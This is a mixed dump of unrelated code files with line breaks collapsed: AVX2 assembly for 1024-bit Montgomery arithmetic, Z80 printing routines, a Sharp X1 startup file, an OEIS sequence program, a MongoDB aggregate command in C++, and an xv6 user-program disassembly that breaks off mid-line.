vpaddq %ymm11, %ymm6, %ymm6 vpmuludq (288)(%r9), %ymm10, %ymm7 vpaddq (224)(%rbx), %ymm7, %ymm7 vpmuludq (288)(%rsi), %ymm14, %ymm8 vpbroadcastq (8)(%rax), %ymm10 vpaddq (256)(%rbx), %ymm8, %ymm8 vmovdqu %ymm6, (512)(%rdi) vmovdqu %ymm7, (544)(%rdi) vmovdqu %ymm8, (576)(%rdi) add $(8), %rdi add $(8), %rbx add $(8), %rax sub $(1), %rcx jnz .Lsqr1024_loop4gas_2 movq (32)(%rsp), %rsi movq (%rsp), %rdi mov $(76), %r9 xor %rax, %rax .Lnorm_loopgas_2: addq (%rsi), %rax add $(8), %rsi mov $(134217727), %rdx and %rax, %rdx shr $(27), %rax movq %rdx, (%rdi) add $(8), %rdi sub $(1), %r9 jg .Lnorm_loopgas_2 movq %rax, (%rdi) add $(48), %rsp vzeroupper pop %rbx ret .Lfe2: .size cpSqr1024_avx2, .Lfe2-(cpSqr1024_avx2) .p2align 5, 0x90 .globl cpMontRed1024_avx2 .type cpMontRed1024_avx2, @function cpMontRed1024_avx2: push %r12 push %r13 movslq %ecx, %r9 mov %rdx, %rcx vpxor %ymm11, %ymm11, %ymm11 vmovdqu %ymm11, (%rdx,%r9,8) movq (%rsi), %r10 movq (8)(%rsi), %r11 movq (16)(%rsi), %r12 movq (24)(%rsi), %r13 mov %r10, %rdx imul %r8d, %edx and $(134217727), %edx vmovd %edx, %xmm10 vmovdqu (32)(%rsi), %ymm1 vmovdqu (64)(%rsi), %ymm2 vmovdqu (96)(%rsi), %ymm3 vmovdqu (128)(%rsi), %ymm4 vmovdqu (160)(%rsi), %ymm5 vmovdqu (192)(%rsi), %ymm6 mov %rdx, %rax imulq (%rcx), %rax add %rax, %r10 vpbroadcastq %xmm10, %ymm10 vmovdqu (224)(%rsi), %ymm7 vmovdqu (256)(%rsi), %ymm8 vmovdqu (288)(%rsi), %ymm9 mov %rdx, %rax imulq (8)(%rcx), %rax add %rax, %r11 mov %rdx, %rax imulq (16)(%rcx), %rax add %rax, %r12 shr $(27), %r10 imulq (24)(%rcx), %rdx add %rdx, %r13 add %r10, %r11 mov %r11, %rdx imul %r8d, %edx and $(134217727), %rdx .p2align 5, 0x90 .Lreduction_loopgas_3: vmovd %edx, %xmm11 vpbroadcastq %xmm11, %ymm11 vpmuludq (32)(%rcx), %ymm10, %ymm14 mov %rdx, %rax imulq (%rcx), %rax vpaddq %ymm14, %ymm1, %ymm1 vpmuludq (64)(%rcx), %ymm10, %ymm14 vpaddq %ymm14, %ymm2, %ymm2 vpmuludq (96)(%rcx), %ymm10, %ymm14 vpaddq %ymm14, %ymm3, %ymm3 vpmuludq (128)(%rcx), %ymm10, %ymm14 add %rax, %r11 shr $(27), %r11 vpaddq %ymm14, %ymm4, %ymm4 vpmuludq (160)(%rcx), %ymm10, %ymm14 mov %rdx, %rax imulq (8)(%rcx), %rax vpaddq %ymm14, %ymm5, %ymm5 add %rax, %r12 vpmuludq (192)(%rcx), %ymm10, %ymm14 imulq (16)(%rcx), %rdx add %r11, %r12 vpaddq %ymm14, %ymm6, %ymm6 add %rdx, %r13 vpmuludq (224)(%rcx), %ymm10, %ymm14 mov %r12, %rdx imul %r8d, %edx vpaddq %ymm14, %ymm7, %ymm7 vpmuludq (256)(%rcx), %ymm10, %ymm14 vpaddq %ymm14, %ymm8, %ymm8 and $(134217727), %rdx vpmuludq (288)(%rcx), %ymm10, %ymm14 vpaddq %ymm14, %ymm9, %ymm9 vmovd %edx, %xmm12 vpbroadcastq %xmm12, %ymm12 vpmuludq (24)(%rcx), %ymm11, %ymm14 mov %rdx, %rax imulq (%rcx), %rax vpaddq %ymm14, %ymm1, %ymm1 vpmuludq (56)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm2, %ymm2 vpmuludq (88)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm3, %ymm3 vpmuludq (120)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm4, %ymm4 add %r12, %rax shr $(27), %rax vpmuludq (152)(%rcx), %ymm11, %ymm14 imulq (8)(%rcx), %rdx vpaddq %ymm14, %ymm5, %ymm5 vpmuludq (184)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm6, %ymm6 vpmuludq (216)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm7, %ymm7 add %r13, %rdx add %rax, %rdx vpmuludq (248)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm8, %ymm8 vpmuludq (280)(%rcx), %ymm11, %ymm14 vpaddq %ymm14, %ymm9, %ymm9 sub $(2), %r9 jz .Lexit_reduction_loopgas_3 vpmuludq (16)(%rcx), %ymm12, %ymm14 mov %rdx, %r13 imul %r8d, %edx vpaddq %ymm14, %ymm1, %ymm1 vpmuludq (48)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm2, %ymm2 and $(134217727), %rdx vpmuludq (80)(%rcx), %ymm12, %ymm14 vmovd %edx, %xmm13 vpaddq %ymm14, %ymm3, %ymm3 vpmuludq (112)(%rcx), %ymm12, %ymm14 vpbroadcastq %xmm13, %ymm13 vpaddq %ymm14, %ymm4, %ymm4 vpmuludq (144)(%rcx), %ymm12, %ymm14 imulq (%rcx), %rdx vpaddq %ymm14, %ymm5, %ymm5 vpmuludq (176)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm6, %ymm6 add %rdx, %r13 vpmuludq (208)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm7, %ymm7 shr $(27), %r13 vmovq %r13, %xmm0 vpmuludq (8)(%rcx), %ymm13, %ymm14 vpaddq %ymm0, %ymm1, %ymm1 vpaddq %ymm14, %ymm1, %ymm1 vmovdqu %ymm1, (%rsi) vpmuludq (240)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm8, %ymm8 vpmuludq (272)(%rcx), %ymm12, %ymm14 vpaddq %ymm14, %ymm9, %ymm9 vmovq %xmm1, %rdx imul %r8d, %edx and $(134217727), %edx vmovq %xmm1, %r10 movq (8)(%rsi), %r11 movq (16)(%rsi), %r12 movq (24)(%rsi), %r13 vmovd %edx, %xmm10 vpbroadcastq %xmm10, %ymm10 vpmuludq (40)(%rcx), %ymm13, %ymm14 mov %rdx, %rax imulq (%rcx), %rax vpaddq %ymm14, %ymm2, %ymm1 vpmuludq (72)(%rcx), %ymm13, %ymm14 add %rax, %r10 vpaddq %ymm14, %ymm3, %ymm2 shr $(27), %r10 vpmuludq (104)(%rcx), %ymm13, %ymm14 mov %rdx, %rax imulq (8)(%rcx), %rax vpaddq %ymm14, %ymm4, %ymm3 add %rax, %r11 vpmuludq (136)(%rcx), %ymm13, %ymm14 mov %rdx, %rax imulq (16)(%rcx), %rax vpaddq %ymm14, %ymm5, %ymm4 add %rax, %r12 vpmuludq (168)(%rcx), %ymm13, %ymm14 imulq (24)(%rcx), %rdx vpaddq %ymm14, %ymm6, %ymm5 add %rdx, %r13 add %r10, %r11 vpmuludq (200)(%rcx), %ymm13, %ymm14 mov %r11, %rdx imul %r8d, %edx vpaddq %ymm14, %ymm7, %ymm6 and $(134217727), %rdx vpmuludq (232)(%rcx), %ymm13, %ymm14 vpaddq %ymm14, %ymm8, %ymm7 vpmuludq (264)(%rcx), %ymm13, %ymm14 vpaddq %ymm14, %ymm9, %ymm8 vpmuludq (296)(%rcx), %ymm13, %ymm14 vpaddq (320)(%rsi), %ymm14, %ymm9 add $(32), %rsi sub $(2), %r9 jnz .Lreduction_loopgas_3 .Lexit_reduction_loopgas_3: movq (%rsp), %rsi movq %r12, (%rsi) movq %r13, (8)(%rsi) vmovdqu %ymm1, (16)(%rsi) vmovdqu %ymm2, (48)(%rsi) vmovdqu %ymm3, (80)(%rsi) vmovdqu %ymm4, (112)(%rsi) vmovdqu %ymm5, (144)(%rsi) vmovdqu %ymm6, (176)(%rsi) vmovdqu %ymm7, (208)(%rsi) vmovdqu %ymm8, (240)(%rsi) vmovdqu %ymm9, (272)(%rsi) mov $(38), %r9 xor %rax, %rax .Lnorm_loopgas_3: addq (%rsi), %rax add $(8), %rsi mov $(134217727), %rdx and %rax, %rdx shr $(27), %rax movq %rdx, (%rdi) add $(8), %rdi sub $(1), %r9 jg .Lnorm_loopgas_3 movq %rax, (%rdi) vzeroupper pop %r13 pop %r12 ret .Lfe3: .size cpMontRed1024_avx2, .Lfe3-(cpMontRed1024_avx2)
CharCR equ 13 CharLF equ 10 ; IN HL = address of string PrintString: ld a,(hl) inc hl or a ret z call PrintChar jr PrintString ; IN HL = address of string PrintStringWithPixels: ld a,(hl) inc hl or a ret z call PrintCharWithPixels jr PrintStringWithPixels ; IN HL = address of string PrintString7BitEnding: ld a,(hl) push af and %01111111 call PrintChar inc hl pop af bit 7,a jr z, PrintString7BitEnding ret ; IN A = number to print ; Modifies BC PrintAHex: ld b,0 ld c,a rr a rr a rr a rr a .low: and #0f cp #0a jr nc,.af add a,#30 push bc call PrintChar jr .done .af: add a,#37 push bc call PrintChar .done: pop bc ld a,b cp 1 ret z ld a,c ld b,1 jr .low ; IN A = number to print ; Modifies BC PrintADec: ld d, 100 call PrintADecLess100.digit PrintADecLess100: ld d, 10 call .digit ld d, 1 .digit: ld c, 0 .loop: sub d jr c, .exit inc c jr .loop .exit: add a, d push af ld a, c add a, #30 call PrintChar pop af ret ; IN A = number to print ; Modifies BC PrintHLHex: ld a,h call PrintAHex ld a,l call PrintAHex ret PrintHLDec: ld b,0 ld de,10000 call .digit ld de,1000 call .digit ld de,100 call .digit ld de,10 call .digit ld b,1 ; We want to print this digit for sure ld de,1 .digit: xor a .loop: scf ccf sbc hl,de jr c,.exit inc a jr .loop .exit: add hl,de ; Skip leading zeroes ld c,a or a jr nz,.nonZeroChar ld a,b or a ret z .nonZeroChar: ld b,1 ld a,c add a,#30 call PrintChar ret print0: ld a, "0" call PrintChar jr shiftleft print1: ld a, "1" call PrintChar jr shiftleft ;IN A = number to print ;Modifies BC PrintABin: ld c, a ;save a ld b, 8 loopPrintABin: bit 7, c jr z, print0 jr nz, print1 shiftleft: sla c dec b jr nz, loopPrintABin ret
; CRT0 for the Sharp X1 ; ; Karl Von Dyson (for X1s.org) ; ; $Id: x1_crt0.asm,v 1.17 2016-07-20 05:45:02 stefano Exp $ ; MODULE x1_crt0 defc crt0 = 1 INCLUDE "zcc_opt.def" EXTERN _main EXTERN _x1_printf PUBLIC cleanup PUBLIC l_dcal PUBLIC _wait_sub_cpu EXTERN asm_x1_keyboard_handler IF !DEFINED_CRT_ORG_CODE IF (startup=2) defc CRT_ORG_CODE = 32768 defc TAR__register_sp = 0xFDFF ELSE defc CRT_ORG_CODE = 0 defc TAR__register_sp = 65535 ENDIF ENDIF defc CONSOLE_COLUMNS = 40 defc CONSOLE_ROWS = 25 defc TAR__no_ansifont = 1 defc TAR__clib_exit_stack_size = 32 defc __CPU_CLOCK = 4000000 INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE IF (!DEFINED_startup | (startup=1)) INCLUDE "target/x1/classic/allram.asm" ELSE INCLUDE "target/x1/classic/ipl.asm" ENDIF l_dcal: jp (hl) _wait_sub_cpu: ld bc, $1A01 .ii_w1 in a, (c) bit 6, a jp nz, ii_w1 ret IF !DEFINED_ansicolumns defc DEFINED_ansicolumns = 1 defc ansicolumns = 40 ENDIF INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm" ; X1 stdio support variables SECTION bss_crt PUBLIC _x1_cursor_coords _x1_cursor_coords: defw 0
; A109161: Triangle read by rows: T(n, k) = n*(n+9) + k + 5, with T(0, 0) = 5 and T(1, 0) = 15. ; 5,15,16,27,28,29,41,42,43,44,57,58,59,60,61,75,76,77,78,79,80,95,96,97,98,99,100,101,117,118,119,120,121,122,123,124,141,142,143,144,145,146,147,148,149,167,168,169,170,171,172,173,174,175,176,195,196,197,198,199,200,201,202,203,204,205,225,226,227,228,229,230,231,232,233,234,235,236,257,258,259,260,261,262,263,264,265,266,267,268,269,291,292,293,294,295,296,297,298,299 mov $2,$0 lpb $2 add $0,7 add $1,2 add $0,$1 trn $2,$1 sub $1,1 lpe add $0,5
/** * Copyright (C) 2015 MongoDB Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * As a special exception, the copyright holders give permission to link the * code of portions of this program with the OpenSSL library under certain * conditions as described in each individual source file and distribute * linked combinations including the program with the OpenSSL library. You * must comply with the GNU Affero General Public License in all respects for * all of the code used other than as permitted herein. If you modify file(s) * with this exception, you may extend this exception to your version of the * file(s), but you are not obligated to do so. If you do not wish to do so, * delete this exception statement from your version. If you delete this * exception statement from all source files in the program, then also delete * it in the license file. */ #define MONGO_LOG_DEFAULT_COMPONENT ::mongo::logger::LogComponent::kCommand #include "mongo/platform/basic.h" #include <string> #include "mongo/base/status.h" #include "mongo/db/auth/authorization_session.h" #include "mongo/db/commands.h" #include "mongo/rpc/metadata/server_selection_metadata.h" #include "mongo/s/commands/cluster_aggregate.h" namespace mongo { namespace { class ClusterPipelineCommand : public Command { public: ClusterPipelineCommand() : Command("aggregate", false) {} virtual bool slaveOk() const { return true; } virtual bool adminOnly() const { return false; } virtual bool supportsWriteConcern(const BSONObj& cmd) const override { return Pipeline::aggSupportsWriteConcern(cmd); } virtual void help(std::stringstream& help) const { help << "Runs the sharded aggregation command"; } // virtuals from Command Status checkAuthForCommand(Client* client, const std::string& dbname, const BSONObj& cmdObj) final { const NamespaceString nss(parseNsCollectionRequired(dbname, cmdObj)); return AuthorizationSession::get(client)->checkAuthForAggregate(nss, cmdObj); } virtual bool run(OperationContext* opCtx, const std::string& dbname, BSONObj& cmdObj, std::string& errmsg, BSONObjBuilder& result) { NamespaceString nss(parseNsCollectionRequired(dbname, cmdObj)); auto request = AggregationRequest::parseFromBSON(nss, cmdObj); if (!request.isOK()) { return appendCommandStatus(result, request.getStatus()); } ClusterAggregate::Namespaces nsStruct; nsStruct.requestedNss = nss; nsStruct.executionNss = std::move(nss); auto status = ClusterAggregate::runAggregate(opCtx, nsStruct, request.getValue(), cmdObj, &result); appendCommandStatus(result, status); return status.isOK(); } Status explain(OperationContext* opCtx, const std::string& dbName, const BSONObj& cmdObj, ExplainOptions::Verbosity verbosity, const rpc::ServerSelectionMetadata& serverSelectionMetadata, BSONObjBuilder* out) const override { // Add the server selection metadata to the aggregate command in the "unwrapped" format that // runAggregate() expects: {aggregate: ..., $queryOptions: {$readPreference: ...}}. BSONObjBuilder aggCmdBuilder; aggCmdBuilder.appendElements(cmdObj); if (auto readPref = serverSelectionMetadata.getReadPreference()) { aggCmdBuilder.append(QueryRequest::kUnwrappedReadPrefField, BSON("$readPreference" << readPref->toBSON())); } BSONObj aggCmd = aggCmdBuilder.obj(); NamespaceString nss(parseNsCollectionRequired(dbName, aggCmd)); auto request = AggregationRequest::parseFromBSON(nss, aggCmd, verbosity); if (!request.isOK()) { return request.getStatus(); } ClusterAggregate::Namespaces nsStruct; nsStruct.requestedNss = nss; nsStruct.executionNss = std::move(nss); return ClusterAggregate::runAggregate(opCtx, nsStruct, request.getValue(), aggCmd, out); } } clusterPipelineCmd; } // namespace } // namespace mongo
_kill: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char **argv) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: bb 01 00 00 00 mov $0x1,%ebx 16: 83 ec 08 sub $0x8,%esp 19: 8b 31 mov (%ecx),%esi 1b: 8b 79 04 mov 0x4(%ecx),%edi int i; if(argc < 2){ 1e: 83 fe 01 cmp $0x1,%esi 21: 7e 27 jle 4a <main+0x4a> 23: 90 nop 24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(2, "usage: kill pid...\n"); exit(); } for(i=1; i<argc; i++) kill(atoi(argv[i])); 28: 83 ec 0c sub $0xc,%esp 2b: ff 34 9f pushl (%edi,%ebx,4) if(argc < 2){ printf(2, "usage: kill pid...\n"); exit(); } for(i=1; i<argc; i++) 2e: 83 c3 01 add $0x1,%ebx kill(atoi(argv[i])); 31: e8 fa 01 00 00 call 230 <atoi> 36: 89 04 24 mov %eax,(%esp) 39: e8 94 02 00 00 call 2d2 <kill> if(argc < 2){ printf(2, "usage: kill pid...\n"); exit(); } for(i=1; i<argc; i++) 3e: 83 c4 10 add $0x10,%esp 41: 39 de cmp %ebx,%esi 43: 75 e3 jne 28 <main+0x28> kill(atoi(argv[i])); exit(); 45: e8 58 02 00 00 call 2a2 <exit> main(int argc, char **argv) { int i; if(argc < 2){ printf(2, "usage: kill pid...\n"); 4a: 50 push %eax 4b: 50 push %eax 4c: 68 10 07 00 00 push $0x710 51: 6a 02 push $0x2 53: e8 98 03 00 00 call 3f0 <printf> exit(); 58: e8 45 02 00 00 call 2a2 <exit> 5d: 66 90 xchg %ax,%ax 5f: 90 nop 00000060 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 53 push %ebx 64: 8b 45 08 mov 0x8(%ebp),%eax 67: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 6a: 89 c2 mov %eax,%edx 6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 70: 83 c1 01 add $0x1,%ecx 73: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 77: 83 c2 01 add $0x1,%edx 7a: 84 db test %bl,%bl 7c: 88 5a ff mov %bl,-0x1(%edx) 7f: 75 ef jne 70 <strcpy+0x10> ; return os; } 81: 5b pop %ebx 82: 5d pop %ebp 83: c3 ret 84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000090 <strcmp>: int strcmp(const char *p, const char *q) { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 56 push %esi 94: 53 push %ebx 95: 8b 55 08 mov 0x8(%ebp),%edx 98: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 9b: 0f b6 02 movzbl (%edx),%eax 9e: 0f b6 19 movzbl (%ecx),%ebx a1: 84 c0 test %al,%al a3: 75 1e jne c3 <strcmp+0x33> a5: eb 29 jmp d0 <strcmp+0x40> a7: 89 f6 mov %esi,%esi a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; b0: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) b3: 0f b6 02 movzbl (%edx),%eax p++, q++; b6: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) b9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx bd: 84 c0 test %al,%al bf: 74 0f je d0 <strcmp+0x40> c1: 89 f1 mov %esi,%ecx c3: 38 d8 cmp %bl,%al c5: 74 e9 je b0 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; c7: 29 d8 sub %ebx,%eax } c9: 5b pop %ebx ca: 5e pop %esi cb: 5d pop %ebp cc: c3 ret cd: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; d2: 29 d8 sub %ebx,%eax } d4: 5b pop %ebx d5: 5e pop %esi d6: 5d pop %ebp d7: c3 ret d8: 90 nop d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000000e0 <strlen>: uint strlen(const char *s) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) e6: 80 39 00 cmpb $0x0,(%ecx) e9: 74 12 je fd <strlen+0x1d> eb: 31 d2 xor %edx,%edx ed: 8d 76 00 lea 0x0(%esi),%esi f0: 83 c2 01 add $0x1,%edx f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) f7: 89 d0 mov %edx,%eax f9: 75 f5 jne f0 <strlen+0x10> ; return n; } fb: 5d pop %ebp fc: c3 ret uint strlen(const char *s) { int n; for(n = 0; s[n]; n++) fd: 31 c0 xor %eax,%eax ; return n; } ff: 5d pop %ebp 100: c3 ret 101: eb 0d jmp 110 <memset> 103: 90 nop 104: 90 nop 105: 90 nop 106: 90 nop 107: 90 nop 108: 90 nop 109: 90 nop 10a: 90 nop 10b: 90 nop 10c: 90 nop 10d: 90 nop 10e: 90 nop 10f: 90 nop 00000110 <memset>: void* memset(void *dst, int c, uint n) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 57 push %edi 114: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 117: 8b 4d 10 mov 0x10(%ebp),%ecx 11a: 8b 45 0c mov 0xc(%ebp),%eax 11d: 89 d7 mov %edx,%edi 11f: fc cld 120: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 122: 89 d0 mov %edx,%eax 124: 5f pop %edi 125: 5d pop %ebp 126: c3 ret 127: 89 f6 mov %esi,%esi 129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000130 <strchr>: char* strchr(const char *s, char c) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 53 push %ebx 134: 8b 45 08 mov 0x8(%ebp),%eax 137: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 13a: 0f b6 10 movzbl (%eax),%edx 13d: 84 d2 test %dl,%dl 13f: 74 1d je 15e <strchr+0x2e> if(*s == c) 141: 38 d3 cmp %dl,%bl 143: 89 d9 mov %ebx,%ecx 145: 75 0d jne 154 <strchr+0x24> 147: eb 17 jmp 160 <strchr+0x30> 149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 150: 38 ca cmp %cl,%dl 152: 74 0c je 160 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 154: 83 c0 01 add $0x1,%eax 157: 0f b6 10 movzbl (%eax),%edx 15a: 84 d2 test %dl,%dl 15c: 75 f2 jne 150 <strchr+0x20> if(*s == c) return (char*)s; return 0; 15e: 31 c0 xor %eax,%eax } 160: 5b pop %ebx 161: 5d pop %ebp 162: c3 ret 163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000170 <gets>: char* gets(char *buf, int max) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 57 push %edi 174: 56 push %esi 175: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 176: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 178: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 17b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 17e: eb 29 jmp 1a9 <gets+0x39> cc = read(0, &c, 1); 180: 83 ec 04 sub $0x4,%esp 183: 6a 01 push $0x1 185: 57 push %edi 186: 6a 00 push $0x0 188: e8 2d 01 00 00 call 2ba <read> if(cc < 1) 18d: 83 c4 10 add $0x10,%esp 190: 85 c0 test %eax,%eax 192: 7e 1d jle 1b1 <gets+0x41> break; buf[i++] = c; 194: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 198: 8b 55 08 mov 0x8(%ebp),%edx 19b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 19d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 19f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1a3: 74 1b je 1c0 <gets+0x50> 1a5: 3c 0d cmp $0xd,%al 1a7: 74 17 je 1c0 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1a9: 8d 5e 01 lea 0x1(%esi),%ebx 1ac: 3b 5d 0c cmp 0xc(%ebp),%ebx 1af: 7c cf jl 180 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1b1: 8b 45 08 mov 0x8(%ebp),%eax 1b4: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1b8: 8d 65 f4 lea -0xc(%ebp),%esp 1bb: 5b pop %ebx 1bc: 5e pop %esi 1bd: 5f pop %edi 1be: 5d pop %ebp 1bf: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1c0: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1c3: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1c5: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1c9: 8d 65 f4 lea -0xc(%ebp),%esp 1cc: 5b pop %ebx 1cd: 5e pop %esi 1ce: 5f pop %edi 1cf: 5d pop %ebp 1d0: c3 ret 1d1: eb 0d jmp 1e0 <stat> 1d3: 90 nop 1d4: 90 nop 1d5: 90 nop 1d6: 90 nop 1d7: 90 nop 1d8: 90 nop 1d9: 90 nop 1da: 90 nop 1db: 90 nop 1dc: 90 nop 1dd: 90 nop 1de: 90 nop 1df: 90 nop 000001e0 <stat>: int stat(const char *n, struct stat *st) { 1e0: 55 push %ebp 1e1: 89 e5 mov %esp,%ebp 1e3: 56 push %esi 1e4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1e5: 83 ec 08 sub $0x8,%esp 1e8: 6a 00 push $0x0 1ea: ff 75 08 pushl 0x8(%ebp) 1ed: e8 f0 00 00 00 call 2e2 <open> if(fd < 0) 1f2: 83 c4 10 add $0x10,%esp 1f5: 85 c0 test %eax,%eax 1f7: 78 27 js 220 <stat+0x40> return -1; r = fstat(fd, st); 1f9: 83 ec 08 sub $0x8,%esp 1fc: ff 75 0c pushl 0xc(%ebp) 1ff: 89 c3 mov %eax,%ebx 201: 50 push %eax 202: e8 f3 00 00 00 call 2fa <fstat> 207: 89 c6 mov %eax,%esi close(fd); 209: 89 1c 24 mov %ebx,(%esp) 20c: e8 b9 00 00 00 call 2ca <close> return r; 211: 83 c4 10 add $0x10,%esp 214: 89 f0 mov %esi,%eax } 216: 8d 65 f8 lea -0x8(%ebp),%esp 219: 5b pop %ebx 21a: 5e pop %esi 21b: 5d pop %ebp 21c: c3 ret 21d: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 220: b8 ff ff ff ff mov $0xffffffff,%eax 225: eb ef jmp 216 <stat+0x36> 227: 89 f6 mov %esi,%esi 229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000230 <atoi>: return r; } int atoi(const char *s) { 230: 55 push %ebp 231: 89 e5 mov %esp,%ebp 233: 53 push %ebx 234: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 237: 0f be 11 movsbl (%ecx),%edx 23a: 8d 42 d0 lea -0x30(%edx),%eax 23d: 3c 09 cmp $0x9,%al 23f: b8 00 00 00 00 mov $0x0,%eax 244: 77 1f ja 265 <atoi+0x35> 246: 8d 76 00 lea 0x0(%esi),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 250: 8d 04 80 lea (%eax,%eax,4),%eax 253: 83 c1 01 add $0x1,%ecx 256: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 25a: 0f be 11 movsbl (%ecx),%edx 25d: 8d 5a d0 lea -0x30(%edx),%ebx 260: 80 fb 09 cmp $0x9,%bl 263: 76 eb jbe 250 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 265: 5b pop %ebx 266: 5d pop %ebp 267: c3 ret 268: 90 nop 269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000270 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 270: 55 push %ebp 271: 89 e5 mov %esp,%ebp 273: 56 push %esi 274: 53 push %ebx 275: 8b 5d 10 mov 0x10(%ebp),%ebx 278: 8b 45 08 mov 0x8(%ebp),%eax 27b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 27e: 85 db test %ebx,%ebx 280: 7e 14 jle 296 <memmove+0x26> 282: 31 d2 xor %edx,%edx 284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 28c: 88 0c 10 mov %cl,(%eax,%edx,1) 28f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 292: 39 da cmp %ebx,%edx 294: 75 f2 jne 288 <memmove+0x18> *dst++ = *src++; return vdst; } 296: 5b pop %ebx 297: 5e pop %esi 298: 5d pop %ebp 299: c3 ret 0000029a <fork>: name: \ movl 